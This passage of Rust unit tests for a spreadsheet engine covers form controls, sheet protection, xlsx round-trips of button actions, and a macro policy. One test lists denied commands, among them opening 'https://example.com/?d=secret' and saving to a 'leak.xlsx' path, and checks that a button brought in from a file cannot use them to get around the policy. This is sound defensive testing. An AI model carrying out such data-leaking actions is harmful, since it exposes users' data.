("arrange.align", json!({"kind": "control", "ids": [locked, other], "align": "left"})),
|
||||
] {
|
||||
assert!(err(s.execute(cmd, p)).contains("protected"), "{cmd}");
|
||||
}
|
||||
assert!(std::sync::Arc::ptr_eq(&s.doc().unwrap().wb, &before), "nothing changed");
|
||||
// An unlocked control still moves, as in Excel.
|
||||
s.execute("object.move", json!({"kind": "control", "id": free, "at": "H12"})).unwrap();
|
||||
assert_eq!(control(&s, free).anchor.cell.a1(), "H12");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_locked_control_on_a_protected_sheet_cannot_be_changed() {
|
||||
let mut s = s();
|
||||
let c = id(&s.execute("insert.slider", json!({"link": "B1"})).unwrap());
|
||||
let b = id(&s.execute("insert.button", json!({})).unwrap());
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
assert!(err(s.execute("control.format", json!({"id": c, "max": 50}))).contains("protected"));
|
||||
assert!(err(s.execute("control.assign", json!({"id": b, "command": "home.bold"}))).contains("protected"));
|
||||
}
|
||||
|
||||
fn reopen(s: &mut Session) {
|
||||
let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap();
|
||||
let b64 = r["base64"].as_str().unwrap().to_string();
|
||||
s.execute("file.open", json!({"name": "x.xlsx", "base64": b64})).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_kept_button_action_comes_back_only_on_the_same_button() {
|
||||
use crate::cmd::controls::{load_action_names, with_action_names};
|
||||
let mut s = s();
|
||||
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D6", "text": "Other"})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D9", "text": "Fixed", "macro": "Mark", "input": "F1:G2"})).unwrap();
|
||||
let wb = (*s.doc().unwrap().wb).clone();
|
||||
let stored = with_action_names(&wb).unwrap().unwrap();
|
||||
let actions = |wb: &gridcraft_model::Workbook| wb.sheet(0).unwrap().controls.iter().map(|c| c.action.clone()).collect::<Vec<_>>();
|
||||
let kept = |wb: &gridcraft_model::Workbook| {
|
||||
let mut wb = wb.clone();
|
||||
for c in &mut wb.sheet_mut(0).unwrap().controls {
|
||||
// As xlsx carries them: a macro on the selection, or nothing for a command.
|
||||
c.action = match c.action.take() {
|
||||
Some(ControlAction::Macro { name, .. }) => Some(ControlAction::Macro { name, input: MacroInput::Selection, output: None }),
|
||||
_ => None,
|
||||
};
|
||||
}
|
||||
wb
|
||||
};
|
||||
// The same buttons in the same places get their actions back.
|
||||
let mut same = kept(&stored);
|
||||
load_action_names(&mut same);
|
||||
assert_eq!(actions(&same), actions(&wb));
|
||||
// Another application removed the first button: the command must not move to "Other".
|
||||
let mut shifted = kept(&stored);
|
||||
shifted.sheet_mut(0).unwrap().controls.remove(0);
|
||||
load_action_names(&mut shifted);
|
||||
assert_eq!(shifted.sheets[0].controls[0].action, None, "the command stays with the removed button");
|
||||
// A button given another macro there keeps it; a command doesn't replace a macro either.
|
||||
let mut reassigned = kept(&stored);
|
||||
for i in [0, 2] {
|
||||
reassigned.sheet_mut(0).unwrap().controls[i].action =
|
||||
Some(ControlAction::Macro { name: "Other".into(), input: MacroInput::Selection, output: None });
|
||||
}
|
||||
load_action_names(&mut reassigned);
|
||||
for i in [0, 2] {
|
||||
assert!(
|
||||
matches!(&reassigned.sheets[0].controls[i].action, Some(ControlAction::Macro { name, input: MacroInput::Selection, .. }) if name == "Other"),
|
||||
"{i}"
|
||||
);
|
||||
}
|
||||
// Another application cleared the macro of "Fixed": the stored action (with its fixed input)
|
||||
// does not bring the assignment back. The command on a button given no macro still does.
|
||||
let mut cleared = kept(&stored);
|
||||
cleared.sheet_mut(0).unwrap().controls[2].action = None;
|
||||
load_action_names(&mut cleared);
|
||||
assert_eq!(cleared.sheets[0].controls[2].action, None, "the removed assignment stays removed");
|
||||
assert_eq!(cleared.sheets[0].controls[0].action, actions(&wb)[0], "the command comes back");
|
||||
}
|
||||
|
||||
/// An entry of the hidden name must carry the button's name and anchor cell (the writer always
|
||||
/// stores both): a hand-edited entry without either, or with something else there, is dropped
|
||||
/// like an unparsable one, so it cannot pin its action onto whatever button sits at that index.
|
||||
#[test]
|
||||
fn a_kept_action_without_the_buttons_name_or_anchor_is_dropped() {
|
||||
use crate::cmd::controls::{ACTIONS_KEY, load_action_names, with_action_names};
|
||||
use crate::cmd::stash;
|
||||
let mut s = s();
|
||||
s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
|
||||
let stored = with_action_names(&s.doc().unwrap().wb).unwrap().unwrap();
|
||||
let items = stash::get_json(&stored, ACTIONS_KEY).unwrap();
|
||||
assert!(items[0]["name"].is_string() && items[0]["at"].is_string(), "the writer stores both keys: {items}");
|
||||
// As the file brings a command button back: with no action.
|
||||
let kept = |items: &Json| {
|
||||
let mut wb = stored.clone();
|
||||
wb.sheet_mut(0).unwrap().controls[0].action = None;
|
||||
stash::remove(&mut wb, ACTIONS_KEY);
|
||||
stash::set_json(&mut wb, ACTIONS_KEY, items).unwrap();
|
||||
load_action_names(&mut wb);
|
||||
assert!(stash::get(&wb, ACTIONS_KEY).is_none(), "the hidden name is removed");
|
||||
wb.sheets[0].controls[0].action.clone()
|
||||
};
|
||||
let edited = |key: &str, value: Option<Json>| {
|
||||
let mut items = items.clone();
|
||||
let entry = items[0].as_object_mut().unwrap();
|
||||
match value {
|
||||
Some(v) => entry.insert(key.to_string(), v),
|
||||
None => entry.remove(key),
|
||||
};
|
||||
items
|
||||
};
|
||||
assert_eq!(kept(&edited("name", None)), None, "no `name`");
|
||||
assert_eq!(kept(&edited("at", None)), None, "no `at`");
|
||||
assert_eq!(kept(&edited("name", Some(json!(1)))), None, "`name` is not text");
|
||||
assert_eq!(kept(&edited("at", Some(Json::Null))), None, "`at` is null");
|
||||
assert!(matches!(kept(&items), Some(ControlAction::Command { .. })), "the writer's own entry still comes back");
|
||||
}
|
||||
|
||||
/// A fixed input range for a macro that declares no inputs would fail every press (`macro.run`
|
||||
/// refuses inputs the macro doesn't take), so the assignment is refused when it is made, naming
|
||||
/// the macro; a macro the workbook doesn't have yet is not checked, and a macro with an input
|
||||
/// takes the range. A file that brings such a stored input in gets the macro on the selection.
|
||||
#[test]
|
||||
fn a_fixed_input_for_a_macro_without_inputs_is_refused_when_assigned() {
|
||||
use crate::cmd::controls::{load_action_names, with_action_names};
|
||||
let mut s = s();
|
||||
s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "x"}}]})).unwrap();
|
||||
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
|
||||
let want = "macro 'Fill' takes no inputs";
|
||||
assert!(err(s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "input": "C2:D4"}))).contains(want));
|
||||
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 0, "no button was placed");
|
||||
let b = id(&s.execute("insert.button", json!({"at": "B2", "macro": "Fill", "output": "F2"})).unwrap());
|
||||
let e = err(s.execute("control.assign", json!({"id": b, "macro": "fill", "input": "C2:D4"})));
|
||||
assert!(e.contains(want), "any letter case: {e}");
|
||||
assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) }));
|
||||
s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "C2:D4"})).unwrap();
|
||||
s.execute("control.assign", json!({"id": b, "macro": "Later", "input": "C2:D4"})).unwrap();
|
||||
assert_eq!(control(&s, b).action, Some(ControlAction::Macro { name: "Later".into(), input: MacroInput::Fixed("C2:D4".into()), output: None }));
|
||||
// A file's stored fixed input for Fill (another version assigned it) comes back as the selection.
|
||||
s.execute("control.assign", json!({"id": b, "macro": "Fill", "output": "F2"})).unwrap();
|
||||
let mut wb = (*s.doc().unwrap().wb).clone();
|
||||
wb.sheet_mut(0).unwrap().controls[0].action =
|
||||
Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) });
|
||||
let mut stored = with_action_names(&wb).unwrap().unwrap();
|
||||
load_action_names(&mut stored);
|
||||
assert_eq!(
|
||||
stored.sheets[0].controls[0].action,
|
||||
Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Selection, output: Some("F2".into()) })
|
||||
);
|
||||
}
|
||||
|
||||
/// The saved xlsx bytes of `s`'s workbook.
|
||||
fn saved_xlsx(s: &mut Session) -> Vec<u8> {
|
||||
let r = s.execute("file.saveBytes", json!({"format": "xlsx"})).unwrap();
|
||||
crate::io::base64_decode(r["base64"].as_str().unwrap()).unwrap()
|
||||
}
|
||||
|
||||
/// `bytes` with `edit` applied to the text of every part, as another application that rewrote
|
||||
/// those parts would leave the file.
|
||||
fn edit_parts(bytes: &[u8], mut edit: impl FnMut(&str, String) -> String) -> Vec<u8> {
|
||||
use std::io::{Cursor, Read, Write};
|
||||
let mut zip = zip::ZipArchive::new(Cursor::new(bytes)).unwrap();
|
||||
let mut out = zip::ZipWriter::new(Cursor::new(Vec::new()));
|
||||
for i in 0..zip.len() {
|
||||
let mut part = zip.by_index(i).unwrap();
|
||||
let name = part.name().to_string();
|
||||
let mut data = Vec::new();
|
||||
part.read_to_end(&mut data).unwrap();
|
||||
let data = match String::from_utf8(data) {
|
||||
Ok(text) => edit(&name, text).into_bytes(),
|
||||
Err(e) => e.into_bytes(),
|
||||
};
|
||||
out.start_file(name, zip::write::SimpleFileOptions::default()).unwrap();
|
||||
out.write_all(&data).unwrap();
|
||||
}
|
||||
out.finish().unwrap().into_inner()
|
||||
}
|
||||
|
||||
/// Opens `bytes` as `name`, checks the hidden name of the button actions is taken back out, and
|
||||
/// lists the controls.
|
||||
fn open_and_list(s: &mut Session, name: &str, bytes: &[u8]) -> Json {
|
||||
s.execute("file.open", json!({"name": name, "base64": crate::io::base64_encode(bytes)})).unwrap();
|
||||
assert!(s.doc().unwrap().wb.names.iter().all(|n| !n.name.contains("control_actions")), "{name}: the hidden name is taken back out");
|
||||
s.execute("control.list", json!({})).unwrap()
|
||||
}
|
||||
|
||||
/// The macro reference xlsx writes for a button that runs `Mark`.
|
||||
const MARK: &str = "[0]!Mark";
|
||||
|
||||
/// Another application removed a button's macro assignment and kept the button with its name and
|
||||
/// place: the hidden name's copy of the action (with the fixed input and the output cell) does not
|
||||
/// bring the assignment back. The same file, unedited, reopens with the whole action.
|
||||
#[test]
|
||||
fn a_macro_assignment_removed_in_another_application_stays_removed() {
|
||||
let mut s = s();
|
||||
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}], "output": {"onConflict": "overwrite"}})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D2", "text": "Run", "macro": "Mark", "input": "F1:G2", "output": "H1"})).unwrap();
|
||||
let before = s.execute("control.list", json!({})).unwrap()[0].clone();
|
||||
let full = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Fixed("F1:G2".into()), output: Some("H1".into()) };
|
||||
assert_eq!(before["action"], serde_json::to_value(&full).unwrap());
|
||||
let bytes = saved_xlsx(&mut s);
|
||||
// xlsx assigns the macro in the sheet's `<controlPr macro>` and in the VML shape's
|
||||
// `<x:FmlaMacro>` (the parts the reader takes it from); clearing the assignment drops both.
|
||||
let (attr, fmla) = (format!(" macro=\"{MARK}\""), format!("<x:FmlaMacro>{MARK}</x:FmlaMacro>"));
|
||||
let mut edited = Vec::new();
|
||||
let cleared = edit_parts(&bytes, |name, text| {
|
||||
if text.contains(&attr) || text.contains(&fmla) {
|
||||
edited.push(name.to_string());
|
||||
}
|
||||
text.replace(&attr, "").replace(&fmla, "")
|
||||
});
|
||||
edited.sort();
|
||||
assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]);
|
||||
let list = open_and_list(&mut s, "cleared.xlsx", &cleared);
|
||||
assert_eq!(list.as_array().unwrap().len(), 1);
|
||||
for key in ["kind", "name", "at", "text"] {
|
||||
assert_eq!(list[0][key], before[key], "{key}: the same button");
|
||||
}
|
||||
assert_eq!(list[0].get("action"), None, "the removed assignment stays removed");
|
||||
// Unedited, the file still assigns the macro, and the action comes back whole.
|
||||
let list = open_and_list(&mut s, "kept.xlsx", &bytes);
|
||||
assert_eq!(list[0]["action"], before["action"]);
|
||||
}
|
||||
|
||||
/// Another application assigned a macro to a button that ran a command (kept in the hidden name):
|
||||
/// the file's macro wins, as it does when a macro button is given another macro.
|
||||
#[test]
|
||||
fn a_macro_assigned_in_another_application_replaces_a_stored_command() {
|
||||
let mut s = s();
|
||||
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D2", "text": "Run", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
|
||||
let bytes = saved_xlsx(&mut s);
|
||||
let (pr, data) = ("<controlPr", "<x:ClientData ObjectType=\"Button\">");
|
||||
let mut edited = Vec::new();
|
||||
let assigned = edit_parts(&bytes, |name, text| {
|
||||
if text.contains(pr) || text.contains(data) {
|
||||
edited.push(name.to_string());
|
||||
}
|
||||
text.replace(pr, &format!("<controlPr macro=\"{MARK}\"")).replace(data, &format!("{data}<x:FmlaMacro>{MARK}</x:FmlaMacro>"))
|
||||
});
|
||||
edited.sort();
|
||||
assert_eq!(edited, ["xl/drawings/vmlDrawing1.vml", "xl/worksheets/sheet1.xml"]);
|
||||
let list = open_and_list(&mut s, "assigned.xlsx", &assigned);
|
||||
let plain = ControlAction::Macro { name: "Mark".into(), input: MacroInput::Selection, output: None };
|
||||
assert_eq!(list[0]["action"], serde_json::to_value(&plain).unwrap(), "the file's macro, not the stored command");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_kind_and_action_survives_xlsx() {
|
||||
let mut s = s();
|
||||
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "m"}}], "inputs": [{"name": "Input", "kind": "range"}], "output": {"onConflict": "overwrite"}})).unwrap();
|
||||
s.execute("insert.slider", json!({"at": "D2", "link": "B1", "min": 10, "max": 200, "step": 10, "page": 50, "value": 70})).unwrap();
|
||||
s.execute("insert.spinButton", json!({"at": "D6", "link": "B2", "max": 9, "value": 4})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D9", "text": "Plain", "macro": "Mark"})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D11", "text": "Fixed", "macro": "Mark", "input": "F1:G2", "output": "H1"})).unwrap();
|
||||
s.execute("insert.button", json!({"at": "D13", "text": "Command", "command": "cell.set", "params": {"cell": "A9", "input": "cmd"}})).unwrap();
|
||||
s.execute("review.newNote", json!({"cell": "A1", "text": "a note"})).unwrap();
|
||||
let before: Vec<Json> = s
|
||||
.execute("control.list", json!({}))
|
||||
.unwrap()
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let mut c = c.clone();
|
||||
c.as_object_mut().unwrap().remove("id");
|
||||
c
|
||||
})
|
||||
.collect();
|
||||
reopen(&mut s);
|
||||
let after: Vec<Json> = s
|
||||
.execute("control.list", json!({}))
|
||||
.unwrap()
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|c| {
|
||||
let mut c = c.clone();
|
||||
c.as_object_mut().unwrap().remove("id");
|
||||
c
|
||||
})
|
||||
.collect();
|
||||
assert_eq!(before.len(), after.len());
|
||||
for (b, a) in before.iter().zip(&after) {
|
||||
for key in ["kind", "name", "at", "text", "link", "value", "min", "max", "step", "page", "horizontal", "action", "print", "locked"] {
|
||||
assert_eq!(b.get(key), a.get(key), "{key}: {b} vs {a}");
|
||||
}
|
||||
}
|
||||
assert!(s.doc().unwrap().wb.names.iter().all(|n| !n.name.contains("control_actions")), "the hidden name is taken back out");
|
||||
assert_eq!(s.doc().unwrap().trust, Trust::FromFile);
|
||||
// A workbook from a file: its command button asks before it runs.
|
||||
let cmd = after.iter().position(|c| c["text"] == json!("Command")).unwrap();
|
||||
let id = s.execute("control.list", json!({})).unwrap()[cmd]["id"].as_u64().unwrap();
|
||||
assert!(matches!(s.execute("control.press", json!({"id": id})), Err(EngineError::Approve(_))));
|
||||
s.execute("control.press", json!({"id": id, "approve": true})).unwrap();
|
||||
assert_eq!(v(&s, "A9"), Value::text("cmd"));
|
||||
// The linked cells still move the controls.
|
||||
s.execute("cell.set", json!({"cell": "B1", "input": "120"})).unwrap();
|
||||
assert_eq!(s.execute("control.list", json!({})).unwrap()[0]["value"], json!(120));
|
||||
}
|
||||
|
||||
/// A button's command goes through the macro policy when it is assigned and again when it is
|
||||
/// pressed, so a file whose hidden name carries a denied command (written by another application,
|
||||
/// or edited by hand) can't use a button as a way around the policy.
|
||||
#[test]
|
||||
fn a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in() {
|
||||
let dir = std::env::temp_dir().join(format!("gridcraft-control-deny-{}", std::process::id()));
|
||||
let leak = dir.join("leak.xlsx").to_string_lossy().to_string();
|
||||
let denied = [
|
||||
("link.open", json!({"url": "https://example.com/?d=secret"})),
|
||||
("file.saveAs", json!({"path": leak})),
|
||||
("file.save", json!({})),
|
||||
("file.open", json!({"path": leak})),
|
||||
("app.commands", json!({})),
|
||||
("macro.run", json!({"name": "Mark"})),
|
||||
("automate.runScript", json!({"name": "Leak", "trusted": true})),
|
||||
("control.press", json!({"id": 1})),
|
||||
];
|
||||
let mut s = s();
|
||||
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap();
|
||||
// Neither Insert › Button nor Assign Action takes one.
|
||||
let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Run"})).unwrap());
|
||||
for (cmd, params) in &denied {
|
||||
let want = format!("can't run {cmd}");
|
||||
assert!(err(s.execute("insert.button", json!({"at": "B9", "command": cmd, "params": params}))).contains(&want), "{cmd}");
|
||||
assert!(err(s.execute("control.assign", json!({"id": b, "command": cmd, "params": params}))).contains(&want), "{cmd}");
|
||||
assert_eq!(control(&s, b).action, None, "{cmd}");
|
||||
}
|
||||
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1, "no button was placed");
|
||||
// A file can still carry them: one button per command, given its action as a file would.
|
||||
for i in 1..denied.len() {
|
||||
s.execute("insert.button", json!({"at": format!("B{}", 2 + 3 * i), "text": format!("Run {i}")})).unwrap();
|
||||
}
|
||||
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
|
||||
for (c, (cmd, params)) in sh.controls.iter_mut().zip(&denied) {
|
||||
c.action = Some(ControlAction::Command { id: (*cmd).to_string(), params: params.clone() });
|
||||
}
|
||||
reopen(&mut s);
|
||||
assert_eq!(s.doc().unwrap().trust, Trust::FromFile);
|
||||
let list = s.execute("control.list", json!({})).unwrap();
|
||||
for (i, (cmd, params)) in denied.iter().enumerate() {
|
||||
// The action came back through the hidden name, so the check at press time is what holds.
|
||||
assert_eq!(list[i]["action"], json!({"type": "command", "id": cmd, "params": params}), "{cmd}");
|
||||
let pressed = list[i]["id"].as_u64().unwrap();
|
||||
let before = undo_len(&s);
|
||||
assert!(err(s.execute("control.press", json!({"id": pressed, "approve": true}))).contains(&format!("can't run {cmd}")), "{cmd}");
|
||||
assert_eq!(undo_len(&s), before, "{cmd}: nothing ran");
|
||||
}
|
||||
assert!(!std::path::Path::new(&leak).exists());
|
||||
assert_eq!(v(&s, "A1"), Value::Empty, "the macro never ran");
|
||||
assert!(!s.ui_requests.iter().any(|r| matches!(r, crate::UiRequest::OpenUrl(_))), "no page was opened: {:?}", s.ui_requests);
|
||||
}
|
||||
|
||||
/// A command the policy allows may still turn out to open a dialog or a web page when it runs
|
||||
/// (a command given no parameters opens its dialog): the press is refused with the reason, as a
|
||||
/// macro step is, and the request is dropped, so nothing opens. Messages for the person pass.
|
||||
#[test]
|
||||
fn a_button_command_that_would_open_a_dialog_or_a_page_is_refused_after_it_runs() {
|
||||
use crate::UiRequest;
|
||||
use crate::cmd::controls::take_requests;
|
||||
let mut s = s();
|
||||
let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Link", "command": "insert.link", "params": {}})).unwrap());
|
||||
let before = undo_len(&s);
|
||||
let name = control(&s, b).display_name();
|
||||
assert_eq!(
|
||||
err(s.execute("control.press", json!({"id": b}))),
|
||||
format!("'{name}' would open the insertLink dialog; give its command the parameters it needs.")
|
||||
);
|
||||
assert!(!s.ui_requests.iter().any(|r| matches!(r, UiRequest::Dialog(..))), "{:?}", s.ui_requests);
|
||||
assert_eq!(undo_len(&s), before, "nothing stays done");
|
||||
// The filter itself, with every kind of request a command can queue: the page is refused,
|
||||
// the cell edit is dropped, the message stays, and requests queued before are left alone.
|
||||
s.ui_requests.push(UiRequest::Message("earlier".into()));
|
||||
let queued = s.ui_requests.len();
|
||||
s.ui_requests.extend([UiRequest::EditCell(None), UiRequest::Message("saved".into()), UiRequest::OpenUrl("https://example.com/".into())]);
|
||||
assert_eq!(take_requests(&mut s, queued, "Go").as_deref(), Some("'Go' would open a web page, which buttons don't do."));
|
||||
assert_eq!(s.ui_requests, vec![UiRequest::Message("earlier".into()), UiRequest::Message("saved".into())]);
|
||||
assert_eq!(take_requests(&mut s, 5, "Go"), None, "a mark past the queue's end drops nothing");
|
||||
assert_eq!(s.ui_requests.len(), 2);
|
||||
}
|
||||
|
||||
/// A linked cell that holds a formula: a write of the value the formula already shows is skipped,
|
||||
/// so Format Control's OK (which sends the value back every time) keeps the formula, also on a
|
||||
/// protected sheet with the cell locked; a changed value replaces the formula with the constant.
|
||||
#[test]
|
||||
fn a_formula_in_the_linked_cell_survives_a_write_of_the_value_it_shows() {
|
||||
let mut s = s();
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "10"})).unwrap();
|
||||
s.execute("cell.set", json!({"cell": "B1", "input": "=A1*2"})).unwrap();
|
||||
let formula =
|
||||
|s: &Session| s.doc().unwrap().wb.sheet(0).unwrap().cell(gridcraft_core::CellRef::parse("B1").unwrap()).is_some_and(|c| c.formula.is_some());
|
||||
assert!(formula(&s));
|
||||
// Inserting with the value the formula shows (10 * 2 = 20) writes nothing.
|
||||
let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 20})).unwrap());
|
||||
assert!(formula(&s), "the formula stays");
|
||||
assert_eq!(v(&s, "B1"), Value::Number(20.0));
|
||||
// The dialog's OK: every number sent back, the value unchanged, a new name.
|
||||
s.execute("control.format", json!({"id": c, "name": "Speed", "value": 20, "min": 0, "max": 100, "step": 1, "page": 10, "locked": false}))
|
||||
.unwrap();
|
||||
assert!(formula(&s), "a rename keeps the formula");
|
||||
// Editing A1 moves the control through the formula (15 * 2 = 30); OK with that value keeps it.
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "15"})).unwrap();
|
||||
assert_eq!(control(&s, c).value, 30);
|
||||
s.execute("control.format", json!({"id": c, "value": 30, "min": 0, "max": 100, "step": 1})).unwrap();
|
||||
assert!(formula(&s));
|
||||
// On a protected sheet with B1 locked, the same OK is not refused.
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
s.execute("control.format", json!({"id": c, "name": "Rate", "value": 30, "min": 0, "max": 100, "step": 1})).unwrap();
|
||||
assert_eq!(control(&s, c).name, "Rate");
|
||||
assert!(formula(&s));
|
||||
s.execute("review.unprotectSheet", json!({})).unwrap();
|
||||
// A changed value writes the constant over the formula.
|
||||
s.execute("control.format", json!({"id": c, "value": 40, "min": 0, "max": 100, "step": 1})).unwrap();
|
||||
assert!(!formula(&s), "the formula is replaced");
|
||||
assert_eq!(v(&s, "B1"), Value::Number(40.0));
|
||||
}
|
||||
|
||||
/// Using a slider or spin button writes its linked cell through `cell.set`, so the cell's
|
||||
/// protection governs it: a locked cell on a protected sheet refuses the change, and the control
|
||||
/// keeps its value (the control's change and the cell write are one group, rolled back together).
|
||||
/// A control's own Locked flag keeps it from being moved or edited, not from being used, as in
|
||||
/// Excel, so an unlocked linked cell takes the value on a protected sheet.
|
||||
#[test]
|
||||
fn a_locked_linked_cell_on_a_protected_sheet_refuses_the_change_and_the_control_keeps_its_value() {
|
||||
let mut s = s();
|
||||
let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 40})).unwrap());
|
||||
s.execute("control.format", json!({"id": c, "locked": false})).unwrap();
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
let before = undo_len(&s);
|
||||
assert!(err(s.execute("control.setValue", json!({"id": c, "value": 60}))).contains("protected"));
|
||||
assert_eq!((control(&s, c).value, v(&s, "B1")), (40, Value::Number(40.0)), "nothing is half-applied");
|
||||
assert_eq!(undo_len(&s), before, "no undo step is left behind");
|
||||
// Format Control: a new maximum that would pull the value into the cell is refused whole.
|
||||
assert!(err(s.execute("control.format", json!({"id": c, "max": 30}))).contains("protected"));
|
||||
assert_eq!((control(&s, c).max, control(&s, c).value), (100, 40));
|
||||
// Inserting a control with a value for a locked cell is refused and leaves no control behind.
|
||||
assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "B2", "value": 5}))).contains("protected"));
|
||||
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1);
|
||||
// The value the cell already holds writes nothing, so nothing is refused.
|
||||
s.execute("control.setValue", json!({"id": c, "value": 40})).unwrap();
|
||||
assert_eq!(undo_len(&s), before);
|
||||
// An unlocked linked cell takes the value on the protected sheet.
|
||||
s.execute("review.unprotectSheet", json!({})).unwrap();
|
||||
s.execute("home.lockCell", json!({"range": "B1", "on": false})).unwrap();
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
s.execute("control.setValue", json!({"id": c, "value": 60})).unwrap();
|
||||
assert_eq!((control(&s, c).value, v(&s, "B1")), (60, Value::Number(60.0)));
|
||||
}
|
||||
|
||||
/// A link to a cell on another sheet obeys that sheet's protection, not the control's sheet's.
|
||||
#[test]
|
||||
fn a_link_to_another_sheet_obeys_that_sheets_protection() {
|
||||
let mut s = s();
|
||||
s.execute("home.insertSheet", json!({"name": "Data"})).unwrap();
|
||||
s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap();
|
||||
let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "Data!B1", "value": 10})).unwrap());
|
||||
assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1"));
|
||||
let data = |s: &Session| {
|
||||
let wb = &s.doc().unwrap().wb;
|
||||
wb.sheet(wb.sheet_index("Data").unwrap()).unwrap().value(gridcraft_core::CellRef::new(0, 1))
|
||||
};
|
||||
assert_eq!(data(&s), Value::Number(10.0));
|
||||
s.execute("review.protectSheet", json!({"sheet": "Data"})).unwrap();
|
||||
let before = undo_len(&s);
|
||||
assert!(err(s.execute("control.setValue", json!({"id": c, "value": 20}))).contains("protected"));
|
||||
assert_eq!((control(&s, c).value, data(&s)), (10, Value::Number(10.0)));
|
||||
assert_eq!(undo_len(&s), before);
|
||||
assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "Data!B2", "value": 5}))).contains("protected"));
|
||||
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1);
|
||||
// Protecting the control's own sheet instead leaves the write to the other sheet alone.
|
||||
s.execute("review.unprotectSheet", json!({"sheet": "Data"})).unwrap();
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
s.execute("control.setValue", json!({"id": c, "value": 20})).unwrap();
|
||||
assert_eq!((control(&s, c).value, data(&s)), (20, Value::Number(20.0)));
|
||||
// A link to a sheet the workbook doesn't have is refused with a clear message.
|
||||
s.execute("review.unprotectSheet", json!({})).unwrap();
|
||||
assert!(err(s.execute("control.format", json!({"id": c, "link": "Nowhere!B1"}))).contains("isn't a cell of this workbook"));
|
||||
assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1"));
|
||||
}
|
||||
@@ -2434,3 +2434,83 @@ fn a_shortcut_taken_while_recording_is_reported_when_it_is_left_off() {
|
||||
assert!(r.get("shortcutDropped").is_none(), "{r}");
|
||||
assert_eq!(s.execute("macro.get", json!({"name": "Keep"})).unwrap()["shortcut"], "Ctrl+Shift+Q");
|
||||
}
|
||||
|
||||
/// `output` (a form button's output cell) moves where the macro writes: the footprint, the
|
||||
/// conflict rule and `macro.check` protect the data at the cells it names, as at the macro's own
|
||||
/// anchor, and a value that names no cell is refused before anything runs.
|
||||
#[test]
|
||||
fn an_output_override_is_checked_and_protected_like_the_macros_own_anchor() {
|
||||
let mut s = s();
|
||||
s.execute("home.insertSheet", json!({"name": "Other"})).unwrap();
|
||||
s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
|
||||
put(
|
||||
&mut s,
|
||||
json!({"name": "Placed", "output": {"anchor": "D1"}, "steps": [
|
||||
{"command": "cell.set", "params": {"cell": "Output", "input": "out"}}
|
||||
]}),
|
||||
);
|
||||
set(&mut s, "F1", "keep me");
|
||||
let start = s.doc().unwrap().wb.clone();
|
||||
// Writing over F1 asks (programmatic runs fail) and changes nothing, as it would at D1.
|
||||
